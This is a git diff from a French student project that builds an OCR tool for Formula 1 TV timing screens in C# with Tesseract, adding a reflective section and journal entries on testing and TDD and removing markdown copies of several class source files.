fixed all the last big bugs before going to PWA
|
After Width: | Height: | Size: 11 KiB |
|
After Width: | Height: | Size: 136 KiB |
|
After Width: | Height: | Size: 142 KiB |
|
After Width: | Height: | Size: 106 KiB |
|
After Width: | Height: | Size: 43 KiB |
|
After Width: | Height: | Size: 101 KiB |
|
After Width: | Height: | Size: 50 KiB |
@@ -338,6 +338,10 @@ J'ai mis une durée arbitraire de deux jours, mais je ne sais pas vraiment combi
|
||||
|
||||
----
|
||||
|
||||
### Outils utilisés
|
||||
|
||||
[A Remplir]
|
||||
|
||||
### Technologies utilisées
|
||||
|
||||
Dans ce projet différents choix ont été faits pour ce qui est des technologies.
|
||||
@@ -1939,7 +1943,105 @@ Les possibilitées sont infinies !
|
||||
|
||||
----
|
||||
|
||||
[A remplir au fur et à mesure de la création des tests]
|
||||
Alors la on arrive à la GROSSE erreur de ce projet...
|
||||
|
||||
Si je ne pouvais changer qu'une seule chose à ma facon de faire le projet après coup c'est ici que je ferai le changement.
|
||||
|
||||
Les tests sont d'une importance absolument capitale mais si ils sont bien faits, c'est surtout un moyen ultra efficace de vérifier que du nouveau code est performant et est beaucoup plus pratique à utiliser.
|
||||
|
||||
Je pense sans rire que j'aurais pu gagner plusieurs jours de travail si j'avais travaillé différemment vis-a-vis des tests.
|
||||
|
||||
### Comment ca c'est passé
|
||||
|
||||
Dès la création du planning prévisionnel j'ai fait une erreur capitale. J'ai mis les tests en fin de developpement des features... Et je ne leur ai laissé que très peu de temps tout en les mettant au milieu du chemin critique ce qui les rends particulièrement vulnérables si une tâche du chemin critique est retardée.
|
||||
|
||||
En fait dans ce projet je voulais surtout éviter de faire comme certains projets que l'on a pu avoir pendant notre formation. C'est à dire que je ne voulais surtout pas oublier la doc. Alors j'ai agencé le projet pour commencer par les fondations de la doc, puis en incluant les périodes de programmation et entre ces dernière ajouter des Tests dans les trous. Le soucis c'est que du coup les projets étaient un peu le dernier truc dont je devais me soucier ce qui a été une très mauvaise idée.
|
||||
|
||||
Je me suis retrouvé à devoir mordre sur les jours de tests car les tâches de programmation mettaient plus de temps que prévu (qui elles-même auraient pû être plus courte avec une bonne utilisation des tests) et je mme suis retrouvé à passer outre les tests pour avancer sur le reste du projet.
|
||||
|
||||
J'ai donc du en panique à la toute fin du projet construire quelques tests "unitaires" dont l'utilité est très limitée car tout le travail a déja été fait et que vu la complexité qu'a pris le projet, faire de vrais tests unitaires est devenu un peu trop compliqué pour valoir le coup.
|
||||
|
||||
Les seuls tests "unitaires" (Je l'écris entre quotes car ce ne sont pas vraiment des tests unitaires mais plutôt des tests tout courts car ils ne sont pas spécifiques) qu'il y a dans le projet final sont des tests exclusivement tournés sur l'OCR. Ils sont déja vraiment pratiques car cela me permet de tester d'autres algorythmes d'OCR et voir si les résultats sont meilleurs ou non mais c'est juste un peu trop tard quoi...
|
||||
|
||||
Les tests unitaires que j'ai implémentés sont un peu tous pareils au niveau du fonctionnement :
|
||||
|
||||
1. On choisit une image dans une liste d'images préparées qui sont scensée représenter le type de données rencontrées par l'application en temps normal
|
||||
2. On lis le nom de l'image que j'ai mis manuellement en indiquant ce qui était marqué sur l'image
|
||||
3. On fait un coup d'OCR sur l'image et on compare ce résultat avec la valeur que l'on est scensé retrouver
|
||||
|
||||
En pratique on est sur un code de ce style :
|
||||
|
||||
```Csharp
|
||||
[TestMethod()]
|
||||
public void SectorOCR_Test()
|
||||
{
|
||||
string directory = @"./../../TestImages/Sectors/";
|
||||
foreach (string file in Directory.GetFiles(directory))
|
||||
{
|
||||
Bitmap image = (Bitmap)Image.FromFile(file);
|
||||
DriverSectorWindow sectorsWindow = new DriverSectorWindow(image, new Rectangle(0, 0, image.Width, image.Height), 1, true);
|
||||
string[] paths = file.Split('/');
|
||||
string fileName = paths[paths.Length - 1];
|
||||
fileName = fileName.Replace(".png", "");
|
||||
|
||||
int timeMS = (int)sectorsWindow.DecodePng();
|
||||
string time = Reader.ConvertMsToTime(timeMS);
|
||||
|
||||
string[] checkDigits = fileName.Split('_');
|
||||
string[] digitsToCheck = time.Split(':');
|
||||
|
||||
if (time == "0:00:000")
|
||||
{
|
||||
Assert.AreEqual(0, Convert.ToInt32(checkDigits[0]));
|
||||
}
|
||||
else
|
||||
{
|
||||
//The ConvertMSToTime will always return three chars so we need to make the checkDigits be also three chars
|
||||
while (checkDigits.Length != 3)
|
||||
checkDigits = new[] { "0" }.Concat(checkDigits).ToArray();
|
||||
|
||||
for (int i = 0; i < checkDigits.Length; i++)
|
||||
{
|
||||
//We need to convert to int first because sometimes we have "08" and "8" and in string its not the same but in int it is
|
||||
Assert.AreEqual(Convert.ToInt32(checkDigits[i]), Convert.ToInt32(digitsToCheck[i]));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Tout le code supplémentaire qui ne fait pas partie des étapes citées est juste la pour manipuler le format des résultats pour qu'il soit comparable.
|
||||
|
||||

|
||||
|
||||
Ce qui est pratique avec cette approche c'est qu'il est très facile de rajouter des cas spécifiques et voir comment le programme les gère.
|
||||
Si je vois que un certain nombre est souvent mal reconnu je peux faire exprès de le mettre dans le dossier et modifier mon code d'OCR jusqu'à ce que le test passe.
|
||||
|
||||
Si j'avais eu plus de temps j'aurais sûrement pu ajouter de vrais tests unitaires qui testent des fonctions très précises. Par exemple verifier que les différentes Windows sont bien appelées et que les zones se créent correctement ou même plus simplement que la lecture du JSON au démarrage marche bien.
|
||||
|
||||
Il faut savoir que même si je n'ai pas eu l'occasion d'écrire beaucoup de tests sous forme de code. Toute la phase de développement de l'OCR j'ai passé plus d'une heure par jour à analyser les résultats. Je gardais toutes les images des WINDOWS et je notais dans le nom du fichier ce que l'algorythme trouvais et je passais en revue manuellement les centaines de résultats pour isoler ceux qui posaient problème.
|
||||
|
||||
C'est comme ca que je me suis rendu compte par exemple que, avec cette police, les 4 et les 1 étaient souvent confondus. Donc même si les tests automatisés sont clairement insuffisant par rapport à ce que j'aurais peut-être du faire, j'ai passé énormément de temps à tester mon application.
|
||||
|
||||
### Comment ca aurait du se passer
|
||||
|
||||
Si je devais refaire ce projet aujourd'hui je pense que j'utiliserais un peu la même technique que pour la doc. J'aurais mis les tâches de Tests directement au début du projet et j'aurais determiné le squelette de l'application par la même occasion.
|
||||
|
||||
Je pense que j'aurais mis trois jours pour écrire tous les tests dont j'aurais besoin et j'aurais fait une stratégie de TDD (Test Driven Developpement) par ce que je pense que ca marcherait vraiment super bien sur ce type de projet.
|
||||
|
||||
J'aurais pris je pense 5 une dixaine d'images complêtes de la F1TV de plusieurs GP différents et j'aurais mis toutes les fenêtres découpées dans des fichiers avec des tests comme ceux que j'ai fait pour ce projet. Et comme ca je saurai que mon algo est bon uniquement quand il aura réussi à passer tous les tests.
|
||||
|
||||
Cela règlerait le soucis que j'ai eu le plus : Me retrouver à devoir changer l'OCR 5 fois par ce que à chaque fois que je développe une nouvelle feature je me rends compte d'une faiblesse mon algorythme...
|
||||
|
||||
Non seulement j'aurai eu beaucoup plus de facilité à avancer sur le projet, mais en plus je pense que cela m'aurait fait gagner énormément de temps non seulement car je n'ai plus à tester tout à la main mais en plus par ce que ca veut dire que quand l'OCR passe les tests je n'ai plus jamais à m'en soucier.
|
||||
|
||||
### Lecons
|
||||
|
||||
Je pense que dans mes futurs projets je mettrai les tests en début de projet plutôt que à la fin et je ferai en sorte qu'ils fassent partie du chemin critique et que je ne puisse pas passer à côté sous pretexte que "Je n'ai pas le temps".
|
||||
|
||||
Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils nous empêchent d'avancer. Mais je suis convaincu que au final c'est un gain de temps et de sérénité incontournable.
|
||||
|
||||
[INSERER MEME SUR LES TESTS UNITAIRES]
|
||||
|
||||
## Résumé des difficultés techniques
|
||||
|
||||
|
||||
@@ -3027,3 +3027,42 @@ Bon j'ai pu rendre à M.Jayr mon evaluation intermédiaire et j'ai fait les dern
|
||||
|
||||
Il faut peut-être aussi que je parle vite fait dans la partie Emulation que j'ai du changer les variables d'environnement pour faire fonctionner le système en 4K.
|
||||
|
||||
## Mercredi 31 Mai 2023
|
||||
|
||||
Doc
|
||||
|
||||
## Jeudi 1 Juin 2023
|
||||
|
||||
Bon je me suis rendu compte que je n'avais fait vraiment aucuns tests et que c'est franchement bof. Je pense que ce que je devrais faire pour faire des tests unitaires c'est prendre des exemples de chaque type de windows possibles en plusieurs exemplaires. Ensuite je note le résultat que j'attends et je regarde si ca me retourne la bonne valeur.
|
||||
|
||||
Mais ca veut dire que ca va me prendre pas mal de temps de tout mettre en place mais ca m'aurait sûrement fait gagner beaucoup de temps si je l'avais fait dès le début...
|
||||
|
||||
Je pense que une bonne idée serait de prendre trois Grand Prix et de prendre une photo de chaque type de window au début et à la fin.
|
||||
|
||||
Plus je regarde plus je me rend compte que ce pojet aurait carrément du être en TDD (Test Driven Developement) par ce que ca m'aurait fait gagner un temps FOU.
|
||||
|
||||
OK JE SUIS DEBILE POURQUOI J'AI PAS FAIT CA PLUS TÔT ???
|
||||
|
||||
En fait ce que j'aurais du faire c'est prendre de gros échantillons de toutes les types de windows et j'aurais un parfait framework pour savoir si j'ai amélioré mon OCR ou non.
|
||||
|
||||
Voici les exemples que je vais utiliser pour verifier le bon fonctionnement de l'OCR :
|
||||
|
||||
;
|
||||
|
||||
;
|
||||
|
||||
;
|
||||
|
||||
;
|
||||
|
||||
;
|
||||
|
||||
;
|
||||
|
||||
Je pense que c'est un set assez correct car j'ai essayé de prendre un peu tous les cas possibles.
|
||||
|
||||
Le seul qui m'inquiète un peu c'est celui des pneus mais bon. C'est aussi celui qui m'inquiète le plus en temps normal.
|
||||
|
||||
Non mais c'est juste génial les tests en fait... j'avais pas vu que parfois ma detection de GAP TO LEADER comprenait le "+1:34.567" en "61:34.567" car le '+' était interprêté comme un 6. Sans les tests je ne m'en serais pas rendu compte.
|
||||
|
||||
Ce qui est génial c'est que ca veut dire que si je veux améliorer mon OCR j'ai juste à mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule.
|
||||
@@ -1,198 +0,0 @@
|
||||
# ConfigurationTool.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : ConfigurationTool.cs
|
||||
/// Brief : Class that contains all the methods needed to create a config file for the OCR
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using Tesseract;
|
||||
using System.IO;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public class ConfigurationTool
|
||||
{
|
||||
public Zone MainZone;
|
||||
public const int NUMBER_OF_DRIVERS = 20;
|
||||
public const int NUMBER_OF_ZONES = 9;
|
||||
public const string CONFIGS_FOLDER_NAME = "./Presets/";
|
||||
|
||||
public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions)
|
||||
{
|
||||
MainZone = new Zone(fullImage, mainZoneDimensions,"Main");
|
||||
AutoCalibrate();
|
||||
}
|
||||
public void ResetMainZone()
|
||||
{
|
||||
MainZone.ResetZones();
|
||||
}
|
||||
public void ResetWindows()
|
||||
{
|
||||
MainZone.ResetWindows();
|
||||
}
|
||||
public void SaveToJson(List<string> drivers, string configName)
|
||||
{
|
||||
string JSON = "";
|
||||
|
||||
JSON += "{" + Environment.NewLine;
|
||||
JSON += MainZone.ToJSON() + "," + Environment.NewLine;
|
||||
JSON += "\"Drivers\":[" + Environment.NewLine;
|
||||
|
||||
for (int i = 0; i < drivers.Count; i++)
|
||||
{
|
||||
JSON += "\"" + drivers[i] + "\"";
|
||||
if (i < drivers.Count - 1)
|
||||
JSON += ",";
|
||||
JSON += Environment.NewLine;
|
||||
}
|
||||
|
||||
JSON += "]" + Environment.NewLine;
|
||||
|
||||
JSON += "}";
|
||||
|
||||
if (!Directory.Exists(CONFIGS_FOLDER_NAME))
|
||||
Directory.CreateDirectory(CONFIGS_FOLDER_NAME);
|
||||
|
||||
string path = CONFIGS_FOLDER_NAME + configName;
|
||||
|
||||
if (File.Exists(path + ".json"))
|
||||
{
|
||||
//We need to create a new name
|
||||
int count = 2;
|
||||
while (File.Exists(path + "_" + count + ".json"))
|
||||
{
|
||||
count++;
|
||||
}
|
||||
path += "_" + count + ".json";
|
||||
}
|
||||
else
|
||||
{
|
||||
path += ".json";
|
||||
}
|
||||
|
||||
File.WriteAllText(path, JSON);
|
||||
}
|
||||
public void AddWindows(List<Rectangle> rectangles)
|
||||
{
|
||||
foreach (Zone driverZone in MainZone.Zones)
|
||||
{
|
||||
Bitmap zoneImage = driverZone.ZoneImage;
|
||||
|
||||
for (int i = 1; i <= rectangles.Count; i++)
|
||||
{
|
||||
switch (i)
|
||||
{
|
||||
case 1:
|
||||
//First zone should be the driver's Position
|
||||
driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false));
|
||||
break;
|
||||
case 2:
|
||||
//First zone should be the Gap to leader
|
||||
driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false));
|
||||
break;
|
||||
case 3:
|
||||
//First zone should be the driver's Lap Time
|
||||
driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false));
|
||||
break;
|
||||
case 4:
|
||||
//First zone should be the driver's DRS status
|
||||
driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false));
|
||||
break;
|
||||
case 5:
|
||||
//First zone should be the driver's Tyre's informations
|
||||
driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false));
|
||||
break;
|
||||
case 6:
|
||||
//First zone should be the driver's Name
|
||||
driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false));
|
||||
break;
|
||||
case 7:
|
||||
//First zone should be the driver's First Sector
|
||||
driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false));
|
||||
break;
|
||||
case 8:
|
||||
//First zone should be the driver's Second Sector
|
||||
driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false));
|
||||
break;
|
||||
case 9:
|
||||
//First zone should be the driver's Position Sector
|
||||
driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
public void AutoCalibrate()
|
||||
{
|
||||
List<Rectangle> detectedText = new List<Rectangle>();
|
||||
List<Zone> zones = new List<Zone>();
|
||||
|
||||
TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
|
||||
Image image = MainZone.ZoneImage;
|
||||
var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
|
||||
|
||||
Page page = engine.Process(tessImage);
|
||||
using (var iter = page.GetIterator())
|
||||
{
|
||||
iter.Begin();
|
||||
do
|
||||
{
|
||||
Rect boundingBox;
|
||||
if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
|
||||
{
|
||||
//var text = iter.GetText(PageIteratorLevel.Word).ToUpper();
|
||||
//We remove all the rectangles that are definitely too big
|
||||
if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS)
|
||||
{
|
||||
//Now we add a filter to only get the boxes in the right because they are much more reliable in size
|
||||
if (boundingBox.X1 > image.Width / 2)
|
||||
{
|
||||
//Now we check if an other square box has been found roughly in the same y axis
|
||||
bool match = false;
|
||||
//The tolerance is roughly half the size that a window will be
|
||||
int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2;
|
||||
|
||||
foreach (Rectangle rect in detectedText)
|
||||
{
|
||||
if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
|
||||
{
|
||||
//There already is a rectangle in this line
|
||||
match = true;
|
||||
}
|
||||
}
|
||||
//if nothing matched we can add it
|
||||
if (!match)
|
||||
detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
|
||||
}
|
||||
}
|
||||
}
|
||||
} while (iter.Next(PageIteratorLevel.Word));
|
||||
}
|
||||
//DEBUG
|
||||
int i = 1;
|
||||
foreach (Rectangle Rectangle in detectedText)
|
||||
{
|
||||
Rectangle windowRectangle;
|
||||
Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
|
||||
Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
|
||||
windowRectangle = new Rectangle(windowLocation, windowSize);
|
||||
//We add the driver zones
|
||||
Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, "DriverZone");
|
||||
MainZone.AddZone(driverZone);
|
||||
|
||||
driverZone.ZoneImage.Save("Driver" + i+".png");
|
||||
i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,107 +0,0 @@
|
||||
# DriverData.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : DriverData.cs
|
||||
/// Brief : Class used to store Driver informations
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public class DriverData
|
||||
{
|
||||
public bool DRS; //True = Drs is opened
|
||||
public int GapToLeader; //In ms
|
||||
public int LapTime; //In ms
|
||||
public string Name; //Ex: LECLERC
|
||||
public int Position; //Ex: 1
|
||||
public int Sector1; //in ms
|
||||
public int Sector2; //in ms
|
||||
public int Sector3; //in ms
|
||||
public Tyre CurrentTyre;//Ex Soft 11 laps
|
||||
|
||||
public DriverData(bool dRS, int gapToLeader, int lapTime, string name, int position, int sector1, int sector2, int sector3, Tyre tyre)
|
||||
{
|
||||
DRS = dRS;
|
||||
GapToLeader = gapToLeader;
|
||||
LapTime = lapTime;
|
||||
Name = name;
|
||||
Position = position;
|
||||
Sector1 = sector1;
|
||||
Sector2 = sector2;
|
||||
Sector3 = sector3;
|
||||
CurrentTyre = tyre;
|
||||
}
|
||||
public DriverData()
|
||||
{
|
||||
DRS = false;
|
||||
GapToLeader = -1;
|
||||
LapTime = -1;
|
||||
Name = "Unknown";
|
||||
Position = -1;
|
||||
Sector1 = -1;
|
||||
Sector2 = -1;
|
||||
Sector3 = -1;
|
||||
CurrentTyre = new Tyre(Tyre.Type.Undefined, -1);
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that displays all the data found in a string
|
||||
/// </summary>
|
||||
/// <returns>string containing all the driver datas</returns>
|
||||
public override string ToString()
|
||||
{
|
||||
string result = "";
|
||||
|
||||
//Position
|
||||
result += "Position : " + Position + Environment.NewLine;
|
||||
//Gap
|
||||
result += "GapToLeader : " + Reader.ConvertMsToTime(GapToLeader) + Environment.NewLine;
|
||||
//LapTime
|
||||
result += "LapTime : " + Reader.ConvertMsToTime(LapTime) + Environment.NewLine;
|
||||
//DRS
|
||||
result += "DRS : " + DRS + Environment.NewLine;
|
||||
//Tyres
|
||||
result += "Uses " + CurrentTyre.Coumpound + " tyre " + CurrentTyre.NumberOfLaps + " laps old" + Environment.NewLine;
|
||||
//Name
|
||||
result += "DriverName : " + Name + Environment.NewLine;
|
||||
//Sector 1
|
||||
result += "Sector1 : " + Reader.ConvertMsToTime(Sector1) + Environment.NewLine;
|
||||
//Sector 1
|
||||
result += "Sector2 : " + Reader.ConvertMsToTime(Sector2) + Environment.NewLine;
|
||||
//Sector 1
|
||||
result += "Sector3 : " + Reader.ConvertMsToTime(Sector3) + Environment.NewLine;
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
//Structure to store tyres infos
|
||||
public struct Tyre
|
||||
{
|
||||
//If new tyres were to be added you will have to need to change this enum
|
||||
public enum Type
|
||||
{
|
||||
Soft,
|
||||
Medium,
|
||||
Hard,
|
||||
Inter,
|
||||
Wet,
|
||||
Undefined
|
||||
}
|
||||
public Type Coumpound;
|
||||
public int NumberOfLaps;
|
||||
public Tyre(Type type, int laps)
|
||||
{
|
||||
Coumpound = type;
|
||||
NumberOfLaps = laps;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,103 +0,0 @@
|
||||
# DriverDrsWindow.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : DriverDrsWindow.cs
|
||||
/// Brief : Window containing DRS related method and infos
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using Tesseract;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
internal class DriverDrsWindow:Window
|
||||
{
|
||||
private static int EmptyDrsGreenValue = -1;
|
||||
private static Random rnd = new Random();
|
||||
public DriverDrsWindow(Bitmap image, Rectangle bounds,bool generateEngine = true) : base(image, bounds,generateEngine)
|
||||
{
|
||||
Name = "DRS";
|
||||
}
|
||||
public override async Task<object> DecodePng()
|
||||
{
|
||||
bool result = false;
|
||||
int greenValue = GetGreenPixels();
|
||||
if (EmptyDrsGreenValue == -1)
|
||||
EmptyDrsGreenValue = greenValue;
|
||||
|
||||
if (greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30)
|
||||
result = true;
|
||||
|
||||
return result;
|
||||
}
|
||||
private unsafe int GetGreenPixels()
|
||||
{
|
||||
int tot = 0;
|
||||
|
||||
Bitmap bmp = WindowImage;
|
||||
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||
BitmapData bmpData = bmp.LockBits(rect, ImageLockMode.ReadOnly, bmp.PixelFormat);
|
||||
int bytesPerPixel = Bitmap.GetPixelFormatSize(bmp.PixelFormat) / 8;
|
||||
|
||||
unsafe
|
||||
{
|
||||
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
|
||||
for (int y = 0; y < bmp.Height; y++)
|
||||
{
|
||||
byte* currentLine = ptr + (y * bmpData.Stride);
|
||||
for (int x = 0; x < bmp.Width; x++)
|
||||
{
|
||||
byte* pixel = currentLine + (x * bytesPerPixel);
|
||||
|
||||
byte blue = pixel[0];
|
||||
byte green = pixel[1];
|
||||
byte red = pixel[2];
|
||||
|
||||
if (green > blue * 1.5 && green > red * 1.5)
|
||||
{
|
||||
tot++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
bmp.UnlockBits(bmpData);
|
||||
|
||||
return tot;
|
||||
}
|
||||
public Rectangle GetBox()
|
||||
{
|
||||
var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage));
|
||||
Engine.SetVariable("tessedit_char_whitelist", "");
|
||||
Page page = Engine.Process(tessImage);
|
||||
|
||||
using (var iter = page.GetIterator())
|
||||
{
|
||||
iter.Begin();
|
||||
do
|
||||
{
|
||||
Rect boundingBox;
|
||||
|
||||
// Get the bounding box for the current element
|
||||
if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
|
||||
{
|
||||
page.Dispose();
|
||||
return new Rectangle(boundingBox.X1, boundingBox.X2, boundingBox.Width, boundingBox.Height);
|
||||
}
|
||||
} while (iter.Next(PageIteratorLevel.Word));
|
||||
|
||||
page.Dispose();
|
||||
return new Rectangle(0, 0, 0, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,37 +0,0 @@
|
||||
# DriverGapToLeaderWindow.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : DriverGapToLeaderWindow.cs
|
||||
/// Brief : Window containing infos about the gap to the leader of a driver
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
internal class DriverGapToLeaderWindow:Window
|
||||
{
|
||||
public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
|
||||
{
|
||||
Name = "GapToLeader";
|
||||
}
|
||||
/// <summary>
|
||||
/// Decodes the gap to leader using Tesseract OCR
|
||||
/// </summary>
|
||||
/// <returns></returns>
|
||||
public override async Task<object> DecodePng()
|
||||
{
|
||||
int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,37 +0,0 @@
|
||||
# DriverLapTimeWindow.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : DriverLapTimeWindow
|
||||
/// Brief : Window containing infos about the lap time of a driver
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Drawing;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
internal class DriverLapTimeWindow:Window
|
||||
{
|
||||
public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
|
||||
{
|
||||
Name = "LapTime";
|
||||
}
|
||||
/// <summary>
|
||||
/// Decodes the lap time contained in the image using OCR Tesseract
|
||||
/// </summary>
|
||||
/// <returns>The laptime in int (ms)</returns>
|
||||
public override async Task<object> DecodePng()
|
||||
{
|
||||
int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,63 +0,0 @@
|
||||
# DriverNameWindow.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : DriverNameWindow
|
||||
/// Brief : Window containing infos about the name of the driver
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Drawing;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public class DriverNameWindow : Window
|
||||
{
|
||||
public static Random rnd = new Random();
|
||||
public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
|
||||
{
|
||||
Name = "Name";
|
||||
}
|
||||
/// <summary>
|
||||
/// Decodes using OCR wich driver name is in the image
|
||||
/// </summary>
|
||||
/// <param name="DriverList"></param>
|
||||
/// <returns>The driver name in string</returns>
|
||||
public override async Task<object> DecodePng(List<string> DriverList)
|
||||
{
|
||||
string result = "";
|
||||
result = await GetStringFromPng(WindowImage, Engine);
|
||||
|
||||
if (!IsADriver(DriverList, result))
|
||||
{
|
||||
//I put everything in uppercase to try to lower the chances of bad answers
|
||||
result = FindClosestMatch(DriverList.ConvertAll(d => d.ToUpper()), result.ToUpper());
|
||||
}
|
||||
return result;
|
||||
}
|
||||
/// <summary>
|
||||
/// Verifies that the name found in the OCR is a valid name
|
||||
/// </summary>
|
||||
/// <param name="driverList"></param>
|
||||
/// <param name="potentialDriver"></param>
|
||||
/// <returns>If ye or no the driver exists</returns>
|
||||
private static bool IsADriver(List<string> driverList, string potentialDriver)
|
||||
{
|
||||
bool result = false;
|
||||
//I cant use drivers.Contains because it has missmatched cases and all
|
||||
foreach (string name in driverList)
|
||||
{
|
||||
if (name.ToUpper() == potentialDriver.ToUpper())
|
||||
result = true;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,47 +0,0 @@
|
||||
# DriverPositionWindow.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : DriverPosition.cs
|
||||
/// Brief : Window containing infos about the position of a driver.
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Drawing;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public class DriverPositionWindow:Window
|
||||
{
|
||||
public DriverPositionWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
|
||||
{
|
||||
Name = "Position";
|
||||
}
|
||||
/// <summary>
|
||||
/// Decodes the position number using Tesseract OCR
|
||||
/// </summary>
|
||||
/// <returns>The position of the pilot in int</returns>
|
||||
public override async Task<object> DecodePng()
|
||||
{
|
||||
string ocrResult = await GetStringFromPng(WindowImage, Engine, "0123456789");
|
||||
|
||||
int position;
|
||||
try
|
||||
{
|
||||
position = Convert.ToInt32(ocrResult);
|
||||
}
|
||||
catch
|
||||
{
|
||||
position = -1;
|
||||
}
|
||||
return position;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,37 +0,0 @@
|
||||
# DriverSectorWindow.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : DriverSectorWindow.cs
|
||||
/// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter.
|
||||
/// Version : 0.1
|
||||
|
||||
